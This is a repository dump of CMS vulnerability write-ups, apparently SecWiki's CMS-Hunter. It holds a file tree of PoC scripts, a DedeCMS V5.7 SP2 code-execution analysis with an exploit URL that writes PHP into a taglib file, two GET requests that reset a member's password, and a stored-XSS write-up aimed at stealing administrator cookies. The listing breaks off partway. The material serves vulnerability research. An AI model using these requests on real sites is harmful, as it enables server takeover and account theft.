├── .gitignore ├── DedeCMS ├── DedeCMS V5.7 SP2后台存在代码执行漏洞 │ └── README.md ├── DedeCMS_V5.7_ │ ├── dedecms_environment.png │ ├── readme.md │ ├── response.png │ └── resullt.png ├── DedeCMS_v5.7_carbuyaction_存储型XSS │ ├── README.md │ ├── add_good.png │ ├── add_shopcar.png │ ├── back_xssed.png │ ├── edit_address.png │ └── xssed.png ├── DedeCMS_v5.7_shops_delivery_存储型XSS │ ├── README.md │ ├── add_delivery.png │ ├── front_xssed.png │ └── show_delivery.png └── DedeCMS_v5.7_友情链接CSRF_GetShell │ ├── README.md │ ├── apply.png │ ├── click_res.png │ ├── edit.png │ ├── link_list.png │ └── shell.png ├── Discuz ├── Discuz! 1.5-2.5 命令执行漏洞 │ └── readme.md └── Discuz_<3.4_birthprovince_前台任意文件删除 │ ├── 1.PNG │ ├── README.md │ └── changed.PNG ├── Drupal └── Drupal远程代码执行漏洞(CVE-2017-6920) │ ├── 1.png │ ├── 2.png │ ├── README.md │ └── poc.txt ├── Ecshop └── ecshop2.x_code_execute │ └── readme.md ├── FineCMS └── FineCMS最新版5.0.8两处getshell │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── README.md │ ├── finecms-5.0.8-getshell.py │ └── finecms-5.0.8-getshell2.py ├── Joomla ├── Joomla_3.4.4-3.6.3_未授权创建特权用户(CVE-2016-8869) │ ├── README.md │ ├── poc.png │ ├── poc.py │ └── poc_res.png └── Joomla_3.7.0_SQL注入(CVE-2017-8917) │ ├── README.md │ ├── poc.png │ └── poc.py ├── LICENSE ├── Metinfo ├── MetInfo V5.1.7 │ └── README.md └── Metinfo6.0.0 │ └── methifo6.0.0.md ├── PHPCMS ├── PHPCMS_v9.6.0_SQL注入 │ ├── README.md │ ├── poc.png │ └── poc.py ├── PHPCMS_v9.6.0_任意文件上传 │ ├── README.md │ ├── caidao1.png │ ├── caidao2.png │ ├── poc.png │ ├── poc.py │ └── shell.txt ├── PHPCMS_v9.6.1_任意文件下载 │ ├── README.md │ ├── poc.png │ └── poc.py └── PHPCMS_v9.6.2_任意文件下载 │ ├── README.md │ ├── poc.png │ └── poc.py ├── README.md ├── Struts └── S2-048(CVE-2017-9791) │ ├── README.md │ ├── burp-poc.png │ ├── burp-poc.txt │ ├── firefox-poc.png │ ├── firefox-post.txt │ ├── poc.py │ └── py-poc.png ├── ThinkPHP ├── ThinkPHP_3.2.3-5.0.10_缓存函数设计缺陷 │ ├── README.md │ ├── poc1.png │ ├── poc2.png │ └── tp3.2.3 │ │ ├── .htaccess │ │ ├── Application │ │ ├── Common │ │ │ ├── Common │ │ │ │ └── index.html │ │ │ ├── Conf │ │ │ │ ├── config.php │ │ │ │ └── index.html │ │ │ └── index.html │ │ ├── Home │ │ │ ├── Common │ │ │ │ └── index.html │ │ │ ├── Conf │ │ │ │ ├── config.php │ │ │ │ └── index.html │ │ │ ├── Controller │ │ │ │ ├── IndexController.class.php │ │ │ │ └── index.html │ │ │ ├── Model │ │ │ │ └── index.html │ │ │ ├── View │ │ │ │ └── index.html │ │ │ └── index.html │ │ ├── README.md │ │ ├── Runtime │ │ │ ├── Cache │ │ │ │ ├── Home │ │ │ │ │ ├── 20914c0f075f91df3579ffbdf5180b02.php │ │ │ │ │ ├── index.html │ │ │ │ │ └── p.php │ │ │ │ └── index.html │ │ │ ├── Data │ │ │ │ └── index.html │ │ │ ├── Logs │ │ │ │ ├── Common │ │ │ │ │ └── 18_01_13.log │ │ │ │ ├── Home │ │ │ │ │ ├── 18_01_13.log │ │ │ │ │ └── index.html │ │ │ │ └── index.html │ │ │ ├── Temp │ │ │ │ ├── b068931cc450442b63f5b3d276ea4297.php │ │ │ │ └── index.html │ │ │ └── index.html │ │ └── index.html │ │ ├── Public │ │ └── README.md │ │ ├── README.md │ │ ├── ThinkPHP │ │ ├── Common │ │ │ └── functions.php │ │ ├── Conf │ │ │ ├── convention.php │ │ │ └── debug.php │ │ ├── LICENSE.txt │ │ ├── Lang │ │ │ ├── en-us.php │ │ │ ├── pt-br.php │ │ │ ├── zh-cn.php │ │ │ └── zh-tw.php │ │ ├── Library │ │ │ ├── Behavior │ │ │ │ ├── AgentCheckBehavior.class.php │ │ │ │ ├── BorisBehavior.class.php │ │ │ │ ├── BrowserCheckBehavior.class.php │ │ │ │ ├── BuildLiteBehavior.class.php │ │ │ │ ├── CheckActionRouteBehavior.class.php │ │ │ │ ├── CheckLangBehavior.class.php │ │ │ │ ├── ChromeShowPageTraceBehavior.class.php │ │ │ │ ├── ContentReplaceBehavior.class.php │ │ │ │ ├── CronRunBehavior.class.php │ │ │ │ ├── FireShowPageTraceBehavior.class.php │ │ │ │ ├── ParseTemplateBehavior.class.php │ │ │ │ ├── ReadHtmlCacheBehavior.class.php │ │ │ │ ├── RobotCheckBehavior.class.php │ │ │ │ ├── ShowPageTraceBehavior.class.php │ │ │ │ ├── ShowRuntimeBehavior.class.php │ │ │ │ ├── TokenBuildBehavior.class.php │ │ │ │ ├── UpgradeNoticeBehavior.class.php │ │ │ │ └── WriteHtmlCacheBehavior.class.php │ │ │ ├── Org │ │ │ │ ├── Net │ │ │ │ │ ├── Http.class.php │ │ │ │ │ └── IpLocation.class.php │ │ │ │ └── Util │ │ │ │ │ ├── ArrayList.class.php │ │ │ │ │ ├── CodeSwitch.class.php │ │ │ │ │ ├── Date.class.php │ │ │ │ │ ├── Rbac.class.php │ │ │ │ │ ├── Stack.class.php │ │ │ │ │ └── String.class.php │ │ │ ├── Think │ │ │ │ ├── App.class.php │ │ │ │ ├── Auth.class.php │ │ │ │ ├── Behavior.class.php │ │ │ │ ├── Build.class.php │ │ │ │ ├── Cache.class.php │ │ │ │ ├── Cache │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── Apachenote.class.php │ │ │ │ │ │ ├── Apc.class.php │ │ │ │ │ │ ├── Db.class.php │ │ │ │ │ │ ├── Eaccelerator.class.php │ │ │ │ │ │ ├── File.class.php │ │ │ │ │ │ ├── Memcache.class.php │ │ │ │ │ │ ├── Memcached.class.php │ │ │ │ │ │ ├── Memcachesae.class.php │ │ │ │ │ │ ├── Redis.class.php │ │ │ │ │ │ ├── Shmop.class.php │ │ │ │ │ │ ├── Sqlite.class.php │ │ │ │ │ │ ├── Wincache.class.php │ │ │ │ │ │ └── Xcache.class.php │ │ │ │ ├── Controller.class.php │ │ │ │ ├── Controller │ │ │ │ │ ├── HproseController.class.php │ │ │ │ │ ├── JsonRpcController.class.php │ │ │ │ │ ├── RestController.class.php │ │ │ │ │ ├── RpcController.class.php │ │ │ │ │ └── YarController.class.php │ │ │ │ ├── Crypt.class.php │ │ │ │ ├── Crypt │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── Base64.class.php │ │ │ │ │ │ ├── Crypt.class.php │ │ │ │ │ │ ├── Des.class.php │ │ │ │ │ │ ├── Think.class.php │ │ │ │ │ │ └── Xxtea.class.php │ │ │ │ ├── Db.class.php │ │ │ │ ├── Db │ │ │ │ │ ├── Driver.class.php │ │ │ │ │ ├── Driver │ │ │ │ │ │ ├── Firebird.class.php │ │ │ │ │ │ ├── Mongo.class.php │ │ │ │ │ │ ├── Mysql.class.php │ │ │ │ │ │ ├── Oracle.class.php │ │ │ │ │ │ ├── Pgsql.class.php │ │ │ │ │ │ ├── Sqlite.class.php │ │ │ │ │ │ └── Sqlsrv.class.php │ │ │ │ │ └── Lite.class.php │ │ │ │ ├── Dispatcher.class.php │ │ │ │ ├── Exception.class.php │ │ │ │ ├── Hook.class.php │ │ │ │ ├── Image.class.php │ │ │ │ ├── Image │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── GIF.class.php │ │ │ │ │ │ ├── Gd.class.php │ │ │ │ │ │ └── Imagick.class.php │ │ │ │ ├── Log.class.php │ │ │ │ ├── Log │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── File.class.php │ │ │ │ │ │ └── Sae.class.php │ │ │ │ ├── Model.class.php │ │ │ │ ├── Model │ │ │ │ │ ├── AdvModel.class.php │ │ │ │ │ ├── MergeModel.class.php │ │ │ │ │ ├── MongoModel.class.php │ │ │ │ │ ├── RelationModel.class.php │ │ │ │ │ └── ViewModel.class.php │ │ │ │ ├── Page.class.php │ │ │ │ ├── Route.class.php │ │ │ │ ├── Session │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── Db.class.php │ │ │ │ │ │ ├── Memcache.class.php │ │ │ │ │ │ └── Mysqli.class.php │ │ │ │ ├── Storage.class.php │ │ │ │ ├── Storage │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── File.class.php │ │ │ │ │ │ └── Sae.class.php │ │ │ │ ├── Template.class.php │ │ │ │ ├── Template │ │ │ │ │ ├── Driver │ │ │ │ │ │ ├── Ease.class.php │ │ │ │ │ │ ├── Lite.class.php │ │ │ │ │ │ ├── Mobile.class.php │ │ │ │ │ │ ├── Smart.class.php │ │ │ │ │ │ └── Smarty.class.php │ │ │ │ │ ├── TagLib.class.php │ │ │ │ │ └── TagLib │ │ │ │ │ │ ├── Cx.class.php │ │ │ │ │ │ └── Html.class.php │ │ │ │ ├── Think.class.php │ │ │ │ ├── Upload.class.php │ │ │ │ ├── Upload │ │ │ │ │ └── Driver │ │ │ │ │ │ ├── Bcs.class.php │ │ │ │ │ │ ├── Bcs │ │ │ │ │ │ ├── bcs.class.php │ │ │ │ │ │ ├── mimetypes.class.php │ │ │ │ │ │ └── requestcore.class.php │ │ │ │ │ │ ├── Ftp.class.php │ │ │ │ │ │ ├── Local.class.php │ │ │ │ │ │ ├── Qiniu.class.php │ │ │ │ │ │ ├── Qiniu │ │ │ │ │ │ └── QiniuStorage.class.php │ │ │ │ │ │ ├── Sae.class.php │ │ │ │ │ │ └── Upyun.class.php │ │ │ │ ├── Verify.class.php │ │ │ │ ├── Verify │ │ │ │ │ ├── bgs │ │ │ │ │ │ ├── 1.jpg │ │ │ │ │ │ ├── 2.jpg │ │ │ │ │ │ ├── 3.jpg │ │ │ │ │ │ ├── 4.jpg │ │ │ │ │ │ ├── 5.jpg │ │ │ │ │ │ ├── 6.jpg │ │ │ │ │ │ ├── 7.jpg │ │ │ │ │ │ └── 8.jpg │ │ │ │ │ └── ttfs │ │ │ │ │ │ ├── 1.ttf │ │ │ │ │ │ ├── 2.ttf │ │ │ │ │ │ ├── 3.ttf │ │ │ │ │ │ ├── 4.ttf │ │ │ │ │ │ ├── 5.ttf │ │ │ │ │ │ └── 6.ttf │ │ │ │ └── View.class.php │ │ │ └── Vendor │ │ │ │ ├── Boris │ │ │ │ ├── Boris.php │ │ │ │ ├── CLIOptionsHandler.php │ │ │ │ ├── ColoredInspector.php │ │ │ │ ├── Config.php │ │ │ │ ├── DumpInspector.php │ │ │ │ ├── EvalWorker.php │ │ │ │ ├── ExportInspector.php │ │ │ │ ├── Inspector.php │ │ │ │ ├── ReadlineClient.php │ │ │ │ └── ShallowParser.php │ │ │ │ ├── EaseTemplate │ │ │ │ ├── template.core.php │ │ │ │ └── template.ease.php │ │ │ │ ├── Hprose │ │ │ │ ├── HproseClassManager.php │ │ │ │ ├── HproseClient.php │ │ │ │ ├── HproseCommon.php │ │ │ │ ├── HproseFormatter.php │ │ │ │ ├── HproseHttpClient.php │ │ │ │ ├── HproseHttpServer.php │ │ │ │ ├── HproseIO.php │ │ │ │ ├── HproseIOStream.php │ │ │ │ ├── HproseReader.php │ │ │ │ ├── HproseTags.php │ │ │ │ └── HproseWriter.php │ │ │ │ ├── README.txt │ │ │ │ ├── SmartTemplate │ │ │ │ ├── class.smarttemplate.php │ │ │ │ ├── class.smarttemplatedebugger.php │ │ │ │ └── class.smarttemplateparser.php │ │ │ │ ├── Smarty │ │ │ │ ├── Smarty.class.php │ │ │ │ ├── SmartyBC.class.php │ │ │ │ ├── debug.tpl │ │ │ │ ├── plugins │ │ │ │ │ ├── block.textformat.php │ │ │ │ │ ├── function.counter.php │ │ │ │ │ ├── function.cycle.php │ │ │ │ │ ├── function.fetch.php │ │ │ │ │ ├── function.html_checkboxes.php │ │ │ │ │ ├── function.html_image.php │ │ │ │ │ ├── function.html_options.php │ │ │ │ │ ├── function.html_radios.php │ │ │ │ │ ├── function.html_select_date.php │ │ │ │ │ ├── function.html_select_time.php │ │ │ │ │ ├── function.html_table.php │ │ │ │ │ ├── function.mailto.php │ │ │ │ │ ├── function.math.php │ │ │ │ │ ├── modifier.capitalize.php │ │ │ │ │ ├── modifier.date_format.php │ │ │ │ │ ├── modifier.debug_print_var.php │ │ │ │ │ ├── modifier.escape.php │ │ │ │ │ ├── modifier.regex_replace.php │ │ │ │ │ ├── modifier.replace.php │ │ │ │ │ ├── modifier.spacify.php │ │ │ │ │ ├── modifier.truncate.php │ │ │ │ │ ├── modifiercompiler.cat.php │ │ │ │ │ ├── modifiercompiler.count_characters.php │ │ │ │ │ ├── modifiercompiler.count_paragraphs.php │ │ │ │ │ ├── modifiercompiler.count_sentences.php │ │ │ │ │ ├── modifiercompiler.count_words.php │ │ │ │ │ ├── modifiercompiler.default.php │ │ │ │ │ ├── modifiercompiler.escape.php │ │ │ │ │ ├── modifiercompiler.from_charset.php │ │ │ │ │ ├── modifiercompiler.indent.php │ │ │ │ │ ├── modifiercompiler.lower.php │ │ │ │ │ ├── modifiercompiler.noprint.php │ │ │ │ │ ├── modifiercompiler.string_format.php │ │ │ │ │ ├── modifiercompiler.strip.php │ │ │ │ │ ├── modifiercompiler.strip_tags.php │ │ │ │ │ ├── modifiercompiler.to_charset.php │ │ │ │ │ ├── modifiercompiler.unescape.php │ │ │ │ │ ├── modifiercompiler.upper.php │ │ │ │ │ ├── modifiercompiler.wordwrap.php │ │ │ │ │ ├── outputfilter.trimwhitespace.php │ │ │ │ │ ├── shared.escape_special_chars.php │ │ │ │ │ ├── shared.literal_compiler_param.php │ │ │ │ │ ├── shared.make_timestamp.php │ │ │ │ │ ├── shared.mb_str_replace.php │ │ │ │ │ ├── shared.mb_unicode.php │ │ │ │ │ ├── shared.mb_wordwrap.php │ │ │ │ │ └── variablefilter.htmlspecialchars.php │ │ │ │ └── sysplugins │ │ │ │ │ ├── smarty_cacheresource.php │ │ │ │ │ ├── smarty_cacheresource_custom.php │ │ │ │ │ ├── smarty_cacheresource_keyvaluestore.php │ │ │ │ │ ├── smarty_config_source.php │ │ │ │ │ ├── smarty_internal_cacheresource_file.php │ │ │ │ │ ├── smarty_internal_compile_append.php │ │ │ │ │ ├── smarty_internal_compile_assign.php │ │ │ │ │ ├── smarty_internal_compile_block.php │ │ │ │ │ ├── smarty_internal_compile_break.php │ │ │ │ │ ├── smarty_internal_compile_call.php │ │ │ │ │ ├── smarty_internal_compile_capture.php │ │ │ │ │ ├── smarty_internal_compile_config_load.php │ │ │ │ │ ├── smarty_internal_compile_continue.php │ │ │ │ │ ├── smarty_internal_compile_debug.php │ │ │ │ │ ├── smarty_internal_compile_eval.php │ │ │ │ │ ├── smarty_internal_compile_extends.php │ │ │ │ │ ├── smarty_internal_compile_for.php │ │ │ │ │ ├── smarty_internal_compile_foreach.php │ │ │ │ │ ├── smarty_internal_compile_function.php │ │ │ │ │ ├── smarty_internal_compile_if.php │ │ │ │ │ ├── smarty_internal_compile_include.php │ │ │ │ │ ├── smarty_internal_compile_include_php.php │ │ │ │ │ ├── smarty_internal_compile_insert.php │ │ │ │ │ ├── smarty_internal_compile_ldelim.php │ │ │ │ │ ├── smarty_internal_compile_nocache.php │ │ │ │ │ ├── smarty_internal_compile_private_block_plugin.php │ │ │ │ │ ├── smarty_internal_compile_private_function_plugin.php │ │ │ │ │ ├── smarty_internal_compile_private_modifier.php │ │ │ │ │ ├── smarty_internal_compile_private_object_block_function.php │ │ │ │ │ ├── smarty_internal_compile_private_object_function.php │ │ │ │ │ ├── smarty_internal_compile_private_print_expression.php │ │ │ │ │ ├── smarty_internal_compile_private_registered_block.php │ │ │ │ │ ├── smarty_internal_compile_private_registered_function.php │ │ │ │ │ ├── smarty_internal_compile_private_special_variable.php │ │ │ │ │ ├── smarty_internal_compile_rdelim.php │ │ │ │ │ ├── smarty_internal_compile_section.php │ │ │ │ │ ├── smarty_internal_compile_setfilter.php │ │ │ │ │ ├── smarty_internal_compile_while.php │ │ │ │ │ ├── smarty_internal_compilebase.php │ │ │ │ │ ├── smarty_internal_config.php │ │ │ │ │ ├── smarty_internal_config_file_compiler.php │ │ │ │ │ ├── smarty_internal_configfilelexer.php │ │ │ │ │ ├── smarty_internal_configfileparser.php │ │ │ │ │ ├── smarty_internal_data.php │ │ │ │ │ ├── smarty_internal_debug.php │ │ │ │ │ ├── smarty_internal_filter_handler.php │ │ │ │ │ ├── smarty_internal_function_call_handler.php │ │ │ │ │ ├── smarty_internal_get_include_path.php │ │ │ │ │ ├── smarty_internal_nocache_insert.php │ │ │ │ │ ├── smarty_internal_parsetree.php │ │ │ │ │ ├── smarty_internal_resource_eval.php │ │ │ │ │ ├── smarty_internal_resource_extends.php │ │ │ │ │ ├── smarty_internal_resource_file.php │ │ │ │ │ ├── smarty_internal_resource_php.php │ │ │ │ │ ├── smarty_internal_resource_registered.php │ │ │ │ │ ├── smarty_internal_resource_stream.php │ │ │ │ │ ├── smarty_internal_resource_string.php │ │ │ │ │ ├── smarty_internal_smartytemplatecompiler.php │ │ │ │ │ ├── smarty_internal_template.php │ │ │ │ │ ├── smarty_internal_templatebase.php │ │ │ │ │ ├── smarty_internal_templatecompilerbase.php │ │ │ │ │ ├── smarty_internal_templatelexer.php │ │ │ │ │ ├── smarty_internal_templateparser.php │ │ │ │ │ ├── smarty_internal_utility.php │ │ │ │ │ ├── smarty_internal_write_file.php │ │ │ │ │ ├── smarty_resource.php │ │ │ │ │ ├── smarty_resource_custom.php │ │ │ │ │ ├── smarty_resource_recompiled.php │ │ │ │ │ ├── smarty_resource_uncompiled.php │ │ │ │ │ └── smarty_security.php │ │ │ │ ├── TemplateLite │ │ │ │ ├── class.compiler.php │ │ │ │ ├── class.config.php │ │ │ │ ├── class.template.php │ │ │ │ └── internal │ │ │ │ │ ├── compile.compile_config.php │ │ │ │ │ ├── compile.compile_custom_block.php │ │ │ │ │ ├── compile.compile_custom_function.php │ │ │ │ │ ├── compile.compile_if.php │ │ │ │ │ ├── compile.generate_compiler_debug_output.php │ │ │ │ │ ├── compile.include.php │ │ │ │ │ ├── compile.parse_is_expr.php │ │ │ │ │ ├── compile.section_start.php │ │ │ │ │ ├── debug.tpl │ │ │ │ │ ├── template.build_dir.php │ │ │ │ │ ├── template.config_loader.php │ │ │ │ │ ├── template.destroy_dir.php │ │ │ │ │ ├── template.fetch_compile_include.php │ │ │ │ │ └── template.generate_debug_output.php │ │ │ │ ├── jsonRPC │ │ │ │ ├── jsonRPCClient.php │ │ │ │ └── jsonRPCServer.php │ │ │ │ ├── phpRPC │ │ │ │ ├── bigint.php │ │ │ │ ├── compat.php │ │ │ │ ├── dhparams.php │ │ │ │ ├── dhparams │ │ │ │ │ ├── 1024.dhp │ │ │ │ │ ├── 128.dhp │ │ │ │ │ ├── 1536.dhp │ │ │ │ │ ├── 160.dhp │ │ │ │ │ ├── 192.dhp │ │ │ │ │ ├── 2048.dhp │ │ │ │ │ ├── 256.dhp │ │ │ │ │ ├── 3072.dhp │ │ │ │ │ ├── 4096.dhp │ │ │ │ │ ├── 512.dhp │ │ │ │ │ ├── 768.dhp │ │ │ │ │ └── 96.dhp │ │ │ │ ├── pecl │ │ │ │ │ └── xxtea │ │ │ │ │ │ ├── CREDITS │ │ │ │ │ │ ├── INSTALL │ │ │ │ │ │ ├── LICENSE │ │ │ │ │ │ ├── README │ │ │ │ │ │ ├── config.m4 │ │ │ │ │ │ ├── config.w32 │ │ │ │ │ │ ├── php_xxtea.c │ │ │ │ │ │ ├── php_xxtea.dsp │ │ │ │ │ │ ├── php_xxtea.h │ │ │ │ │ │ ├── php_xxtea.sln │ │ │ │ │ │ ├── php_xxtea.vcproj │ │ │ │ │ │ ├── test │ │ │ │ │ │ └── test.php │ │ │ │ │ │ ├── xxtea.c │ │ │ │ │ │ └── xxtea.h │ │ │ │ ├── phprpc_client.php │ │ │ │ ├── phprpc_date.php │ │ │ │ ├── phprpc_server.php │ │ │ │ └── xxtea.php │ │ │ │ └── spyc │ │ │ │ ├── COPYING │ │ │ │ ├── README.md │ │ │ │ ├── Spyc.php │ │ │ │ ├── composer.json │ │ │ │ ├── examples │ │ │ │ ├── yaml-dump.php │ │ │ │ └── yaml-load.php │ │ │ │ ├── php4 │ │ │ │ ├── 5to4.php │ │ │ │ ├── spyc.php4 │ │ │ │ └── test.php4 │ │ │ │ ├── spyc.yaml │ │ │ │ └── tests │ │ │ │ ├── DumpTest.php │ │ │ │ ├── IndentTest.php │ │ │ │ ├── ParseTest.php │ │ │ │ ├── RoundTripTest.php │ │ │ │ ├── comments.yaml │ │ │ │ ├── failing1.yaml │ │ │ │ ├── indent_1.yaml │ │ │ │ └── quotes.yaml │ │ ├── Mode │ │ │ ├── Api │ │ │ │ ├── App.class.php │ │ │ │ ├── Controller.class.php │ │ │ │ ├── Dispatcher.class.php │ │ │ │ └── functions.php │ │ │ ├── Lite │ │ │ │ ├── App.class.php │ │ │ │ ├── Controller.class.php │ │ │ │ ├── Dispatcher.class.php │ │ │ │ ├── Model.class.php │ │ │ │ ├── View.class.php │ │ │ │ ├── convention.php │ │ │ │ └── functions.php │ │ │ ├── Sae │ │ │ │ └── convention.php │ │ │ ├── api.php │ │ │ ├── common.php │ │ │ ├── lite.php │ │ │ └── sae.php │ │ ├── ThinkPHP.php │ │ ├── Tpl │ │ │ ├── dispatch_jump.tpl │ │ │ ├── page_trace.tpl │ │ │ └── think_exception.tpl │ │ └── logo.png │ │ ├── composer.json │ │ └── index.php └── ThinkPHP_5.X_远程代码执行漏洞 │ ├── POC.png │ ├── Thinkphp_check.py │ ├── readme.md │ ├── run_Thinkphp_check.png │ └── thinkphp_5.0.22_with_extend │ ├── .gitignore │ ├── .travis.yml │ ├── LICENSE.txt │ ├── README.md │ ├── application │ ├── .htaccess │ ├── command.php │ ├── common.php │ ├── config.php │ ├── database.php │ ├── extra │ │ └── queue.php │ ├── index │ │ └── controller │ │ │ └── Index.php │ ├── route.php │ └── tags.php │ ├── build.php │ ├── composer.json │ ├── extend │ └── .gitignore │ ├── public │ ├── .htaccess │ ├── favicon.ico │ ├── index.php │ ├── robots.txt │ ├── router.php │ └── static │ │ └── .gitignore │ ├── runtime │ └── .gitignore │ ├── think │ └── vendor │ └── .gitignore ├── ThinkSNS └── ThinkSNS_V4 │ └── README.md ├── WebLogic ├── CVE-2017-3506 & CVE-2017-10271 │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ ├── README.md │ └── WebLogic-XMLDecoder.jar ├── CVE-2018-2628 │ ├── README.md │ ├── bypassing.png │ ├── poc.py │ └── testing.png └── CVE-2018-2893 │ ├── README.md │ ├── weblogic.py │ └── ysoserial-cve-2018-2893.jar ├── WordPress ├── WordPress_4.4_SSRF │ ├── README.md │ ├── dnslog.png │ ├── poc.png │ └── poc.py ├── WordPress_4.7.0-4.7.1_未授权内容注入 │ ├── README.md │ ├── poc.png │ └── poc.py ├── WordPress_4.7_Info_Disclosure │ ├── README.md │ ├── poc.png │ └── poc.py └── Wordpress _= 4.9.6 任意文件删除漏洞 │ └── Wordpress _= 4.9.6 任意文件删除漏洞.md └── seacms ├── SeaCMS v6.45前台Getshell 代码执行 └── readme.md ├── seacms 6.55 代码执行 └── seacms6.55.md ├── seacms6.54代码执行 └── seacms6.54.md └── seacms6.61 ├── seacms.md └── seacms661.md /.gitignore: -------------------------------------------------------------------------------- 1 | */local/* 2 | *.local 3 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS V5.7 SP2后台存在代码执行漏洞/README.md: -------------------------------------------------------------------------------- 1 | ## [DedeCMS V5.7 SP2后台存在代码执行漏洞](http://www.freebuf.com/vuls/164035.html) 2 | 3 | 4 | [下载](http://www.dedecms.com/products/dedecms/downloads/) 5 | 6 | ## Affected Version 7 | 8 | DedeCMS V5.7 SP2 9 | 10 | ## Code analysis 11 | 12 | #### 漏洞详情 13 | 14 | 默认后台地址 `/dede/`,文件`dede/tpl.php`中的251到281行。 15 | 16 | 17 | csrf_check(); 18 | #filename和前面正则的匹配情况 19 | if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) 20 | { 21 | ShowMsg('文件名不合法,不允许进行操作!', '-1'); 22 | exit(); 23 | } 24 | require_once(DEDEINC.'/oxwindow.class.php'); 25 | #搜索filename中匹配`\.lib\.php$#i`的部分,以空格代替 26 | $tagname = preg_replace("#\.lib\.php$#i", "", $filename); 27 | #去掉反斜号 28 | $content = stripslashes($content); 29 | #拼接文件名 30 | $truefile = DEDEINC.'/taglib/'.$filename; 31 | #写入内容 32 | $fp = fopen($truefile, 'w'); 33 | fwrite($fp, $content); 34 | fclose($fp); 35 | 36 | replace处理之后赋值给变量 $tagname 。但是写入文件的时候并没有用到$tagname 。 37 | 那为什么有这个$tagname,拼接文件名的时候,应该是拼接`tagname` 38 | 39 | 利用 40 | 41 | 1.由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。 42 | 43 | 2.可以看到将content直接写入到文件中导致可以getshell。但是这里的文件名经过正则表达式,所以必须要.lib.php结尾。 44 | 45 | 3.这里还有一个csrf_check()函数,即请求中必须要带token参数。 46 | 47 | 48 | #### 漏洞利用 49 | 50 | 1. 首先获取`token`。访问域名 + `/dede/tpl.php?action=upload` 51 | 52 | view-source:http://127.0.0.1:8000/DedeCMS/uploads/dede/tpl.php?action=upload 53 | 54 | d170f6bed3360da62d909d28a072c312 55 | 56 | 57 | 58 |  59 | 60 | 2.然后访问 61 | 62 | 域名 + /dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[你的token值 63 | 64 | 65 | 66 |  67 | 68 | shell 地址 69 | 70 | 域名 + /include/taglib/secnote.lib.php 71 | 72 |  73 | 74 | 75 | ## References 76 | 77 | [DedeCMS V5.7 SP2后台存在代码执行漏洞](http://www.freebuf.com/vuls/164035.html) -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_V5.7_/dedecms_environment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_V5.7_/dedecms_environment.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_V5.7_/readme.md: -------------------------------------------------------------------------------- 1 | DedeCMS_V5.7_前台用户密码修改 2 | 3 | 测试环境: 4 | 5 | DedeCMS-V5.7-UTF8-SP2--正式版(2018-01-09 6 | 7 |  8 | 9 | 启动了会员功能,针对注册时未设置找回问题的用户。 10 | 11 | POC: 12 | 1.GET /dede/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanwser=&id=1 13 | 14 |  15 | 16 | 2.GET /dede/member/resetpassword.php?dopost=getpasswd&id=1&key=b9495tc8 17 | 18 |  19 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_V5.7_/response.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_V5.7_/response.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_V5.7_/resullt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_V5.7_/resullt.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/README.md: -------------------------------------------------------------------------------- 1 | # DedeCMS_v5.7_carbuyaction_存储型XSS 2 | 3 | ## Affected Version 4 | 5 | DedeCMS-V5.7-UTF8-SP2 ( 发布日期 2017-03-15 ) 6 | 7 | 需要站点启用商城功能。 8 | 9 | 下载地址: 链接: https://pan.baidu.com/s/1bprjPx1 密码: mwdq 10 | 11 | 12 | ## PoC 13 | 14 | 该漏洞 通过用户在编写订单收货地址的相关参数 注入 XSS Payload,导致 前台查看订单的页面和后台管理员查看订单详情的页面都会被 XSS。 15 | 16 | 所以说,可以用来打管理员 Cookie 。 17 | 18 | 测试: 19 | 20 | 1. 首先管理员添加一项商城的商品 21 | 22 |  23 | 24 | 2. 前台用户选定商品添加购物车 25 | 26 |  27 | 28 | 3. 前台用户编辑订单的收货地址,在这里 address,des,email,postname 都是存在 XSS 的,插入 XSS Payload 29 | 30 |  31 | 32 | 4. 查看订单详情发现前台已经被 XSS 33 | 34 |  35 | 36 | 5. 管理员进入后台查看商城订单同样也会被 XSS :p 37 | 38 |  39 | 40 | ## References 41 | 42 | 1. https://www.seebug.org/vuldb/ssvid-92855 43 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/add_good.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/add_good.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/add_shopcar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/add_shopcar.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/back_xssed.png: -------------------------------------------------------------------------------- 